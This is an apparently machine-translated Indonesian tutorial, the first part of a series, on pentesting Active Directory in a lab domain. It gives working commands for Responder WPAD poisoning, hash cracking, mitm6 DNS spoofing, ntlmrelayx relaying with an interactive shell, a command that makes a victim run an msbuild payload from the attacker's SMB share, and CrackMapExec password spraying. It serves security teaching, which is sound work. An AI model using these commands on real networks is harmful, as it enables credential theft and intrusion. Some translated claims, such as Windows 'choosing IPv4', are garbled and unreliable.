Direktori Aktif Pentest. Bagian 1

Terjemahan artikel disiapkan khusus untuk siswa Pentest. Praktik Pengujian Penetrasi . ”




Saya memiliki beberapa klien yang datang kepada saya sebelum pentest dengan keyakinan bahwa mereka dalam kondisi yang baik, karena analisis kerentanan mereka tidak menunjukkan kerentanan kritis, dan bahwa mereka siap untuk pentest, hanya agar saya akan menerima hak administrator domain dalam lima belas menit, hanya memanfaatkan kesalahan konfigurasi dalam AD.

Salah satu celah dalam pendidikan yang saya lihat dalam pengujian penetrasi adalah kurangnya kesadaran ketika datang ke Active Directory Pentesting (AD). Sayangnya, OSCP tidak mengajarkan pengujian AD, dan bahkan kursus SANS GPEN hampir tidak menyentuh ini. Tujuan dari seri ini adalah untuk membantu menunjukkan beberapa trik, alat, dan teknik yang telah saya gunakan di masa lalu untuk keberhasilan pentest menggunakan AD. Ini tidak berarti panduan lengkap untuk setiap metode atau alat. Sepanjang seri ini, saya akan menggunakan Kali Linux 2019 dan bekerja di domain dummy saya melalui mesin virtual.

Mari kita mulai dengan mendefinisikan target : tujuan dari tes penetrasi adalah untuk mengidentifikasi kemungkinan vektor serangan yang akan digunakan oleh seorang penyerang untuk membobol jaringan. Ini bukan hanya tentang mendapatkan hak administrator domain dan kemudian keluar.

Sekarang kita memiliki tujuan, kita harus mengambil beberapa langkah untuk mencapainya. Di bawah ini adalah panduan visual (kasar) untuk siklus pentesting.


Diposting oleh: Microsoft

Sinopsis : Seorang klien telah mempekerjakan Anda untuk menjalankan tes penetrasi pada jaringan mereka yang menggunakan Active Directory. Anda belum diberi apa-apa. Anda tidak memiliki kredensial, tidak ada batas pengujian, tidak ada izin masuk ke pintu depan, tetapi Anda berhasil mendapatkan di belakang seseorang melalui pintu dan menemukan ruang terpencil dengan telepon IP. Anda mencabut telepon IP Anda, pasang laptop Anda, dan temukan diri Anda online. Apa selanjutnya Implementasi .

Fase I | Implementasi


Tanpa kredensial, kita hanya dapat melakukan pengintaian terbatas, dan pengintaian akan terjadi di hampir setiap tahap siklus, namun ada beberapa hal yang dapat kita lakukan segera untuk mendapatkan pijakan di jaringan. Pertama, karena kita memiliki akses ke jaringan, periksa saja subnet yang sedang kita kerjakan melalui ifconfig atau ipconfig. Setelah menerima alamat IP, keluarkan perintah ping di nmap untuk melihat apakah perangkat lain tersedia.

nmap -sn 192.168.1.1/24 

Jika perangkat kembali, maka Anda berada dalam bisnis. Jika Anda tidak menerima apa pun, ICMP mungkin dinonaktifkan, tidak ada perangkat lain di jaringan, atau karena Anda belum diautentikasi, Anda tidak dapat berkomunikasi dengan perangkat lain dan mungkin telah diblokir oleh solusi keamanan identitas (misalnya, Cisco ISE). Demi artikel ini, mari kita asumsikan bahwa beberapa mesin kembali dan Anda dapat melakukan ping dengan sukses.



Alat : Penanggap

Selanjutnya, kita akan menggunakan alat yang disebut Responder , atau, jika Anda tidak peduli dengan Windows, Inveigh . Kedua alat ini memeriksa kesalahan yang sangat umum dalam konfigurasi AD, yang mengarah pada kemungkinan meracuni WPAD dan NBT-NS. Secara default, Windows dikonfigurasikan untuk mencari file konfigurasi proxy otomatis (PAC) melalui penemuan proxy web otomatis (WPAD). Penting untuk dicatat bahwa WPAD bukan protokol yang melakukan pencarian, tetapi hanya seperangkat prosedur yang memungkinkan perangkat untuk menemukan file PAC. Secara otomatis mendeteksi file PAC berguna untuk organisasi karena perangkat akan mengirim siaran meminta file proxy dan menerimanya. Namun, tentu saja, itu tidak mengotentikasi siapa yang mengirim file proxy, yang memungkinkan penyerang untuk mengirim tanggapan palsu, yang kemudian meminta kredensial.

Pada Kali responder diinstal secara default.

 responder -I eth0 --wpad 

Di komputer Windows 7 saya, saya membuka Internet Explorer dan pergi ke Google, yang kemudian mulai mencari file WPAD. Di Responder, saya melihat bagaimana permintaan itu tiba, setelah itu Responder secara otomatis menanggapi permintaan tersebut, sebagai akibatnya korban mengirimkan nama pengguna dan kata sandi yang diacak (dalam format NTLMv2).



Ada beberapa hal yang bisa kita lakukan dengan hash ini. Kita dapat mencoba ntlmrelay.py atau menyampaikannya menggunakan alat seperti ntlmrelay.py . Saya berbicara tentang cara menerjemahkan hasht ntlm di artikel ini , jadi saya akan melanjutkan untuk meretasnya, karena ini biasanya persis apa yang saya lakukan dalam praktek.

Sejujurnya, saya jarang memecahkan kata sandi di Linux / Kali. Saya menggunakan GPU nvidia, yang tidak pernah menginstal dengan benar di Kali, plus ada HashcatGUI di Windows, yang membuat prosesnya jauh lebih mudah, dan ini yang akan saya gunakan. Saya mengambil hash yang dihasilkan, meletakkannya di file yang disebut "hash.txt" dan menjalankan beberapa daftar kata / aturan di atasnya. Tetapi dalam kasus ini, saya hanya menjalankan rockyou.txt dan di-hack sebentar.


Pengaturan saya untuk HashcatGUI.


Kata Sandi yang Diretas - β€œKata Sandi!”

Sekarang kami telah berhasil memecahkan kata sandi, kami memiliki kredensial "Alice: Kata Sandi"!

Sebelum melanjutkan, ada beberapa metode lain yang ingin saya tunjukkan seandainya Responder tidak berfungsi.



Alat : mitm6

Katakanlah jaringan klien menggunakan file PAC yang sah, dan spoofing Anda tidak berfungsi. Ada metode lain yang menggunakan IPv6 dan DNS untuk meneruskan kredensial ke target. Secara default, IPv6 diaktifkan dan sebenarnya lebih disukai daripada IPv4. Ini berarti bahwa jika komputer memiliki server DNS IPv6, ia akan memilih IPv4. Juga, secara default, mesin Windows mencari server DNS IPv6 melalui permintaan DHCPv6, yang berarti jika kita memalsukan server DNS IPv6, kita dapat secara efektif mengontrol bagaimana perangkat akan meminta DNS. Baca lebih lanjut tentang ini di sini .

Unduh mitm6 terlebih dahulu .

 git clone https://github.com/fox-it/mitm6.git cd mitm6 pip install . 

Kemudian jalankan di workgroup jaringan target. Karena kami sebelumnya melakukan ping jaringan, kami juga mendapat nama NetBIOS, mengetahui bahwa domain target adalah lab.local .

Inilah yang tampak seperti pengaturan IP target sebelum saya mulai mitm6


Perhatikan satu server DNS
Lalu saya meluncurkan mitm6

 mitm6 -d lab.local 



Dan sekarang tujuan dari server DNS telah berubah


Catat alamat IPv6 sebagai server DNS.

Sekarang kerentanan sebenarnya adalah bahwa Windows lebih suka IPv6 daripada IPv4, yaitu, sekarang saya mengontrol DNS.

Jadi sekarang kita menggunakan fakta bahwa kita mengendalikan DNS dengan spoofing tanggapan WPAD melalui ntlmrelayx.py . Saya menulis panduan tentang cara menginstalnya.

Dengan mitm6 berjalan di satu jendela, buka yang lain dan jalankan ntlmrelayx.py

 ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i 

-wh : server hosting file WPAD (penyerang IP)
-t : target (Anda tidak dapat meneruskan kredensial ke perangkat yang sama dengan yang Anda buat)
-i : buka shell interaktif



Dari sini Anda dapat terhubung ke sistem kontrol dan pemantauan (C2) pilihan Anda. Dalam hal ini, saya menggunakan SILENTTRINITY, jadi saya menggunakan perintah -c untuk mengeksekusi perintah saya, yang dalam hal ini menggunakan MSBuild untuk membuat muatan berbahaya saya.

 ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml' 



Tetapi tidak, msbuild.exe tidak membuat file XML dalam kasus ini, dan saya tidak mendapatkan koneksi ke SILENTTRINITY, karena itu akan terlalu sederhana. Sebaliknya, saya melihat server SMB saya dan melihat hash relay



Yang saya, pada gilirannya, retas.



Dan sekarang kami memiliki kredensial jaringan tanpa menggunakan Responder.



Alat : CrackMapExec

CrackMapExec pada dasarnya adalah pisau pentester Swiss. Dari serangan semprotan kata sandi dan transfer hash, hingga menjalankan perintah, itu harus ada di setiap rangkaian alat untuk pentester.

Jika semuanya gagal, kita dapat mencoba menggunakan serangan semprotan kata sandi. Ada alasan mengapa metode ini adalah yang terakhir, dan ini karena kunci kata sandi. Pemblokiran kata sandi tidak biasa seperti yang Anda pikirkan, yang memungkinkan penyerang menggunakan serangan kamus berdasarkan nama pengguna. Memperoleh nama pengguna adalah langkah pertama yang bisa dilakukan melalui OSINT dan dengan theHarvester. Jika kami tidak memiliki nama pengguna dari OSINT, kami juga dapat memberi CrackMapExec (CME) daftar nama pengguna, tetapi demi waktu, anggaplah kami memiliki nama pengguna rsmith .

Jika Anda berada di Kali, CrackMapExec harus sudah diinstal, jika Anda menggunakan versi yang lebih baru, tetapi jika tidak, Anda dapat menginstalnya

 apt-get install crackmapexec 

Karena hasil pemindaian kami menemukan perangkat di jaringan, kami dapat memberikan CME daftar kata sandi yang dipasangkan dengan nama pengguna dan mencoba masuk.

 crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares 

Setelah beberapa detik, kata sandi ditemukan.



Kredensial ditemukan!

Mungkin terlihat terlalu CTF, tetapi musim: tahun adalah kombinasi kata sandi yang sangat populer.

Dengan kredensial ini diperoleh, kami sekarang memiliki akun pengguna. Kami akan beralih ke eskalasi hak istimewa di bagian kedua .

Source: https://habr.com/ru/post/id481348/


All Articles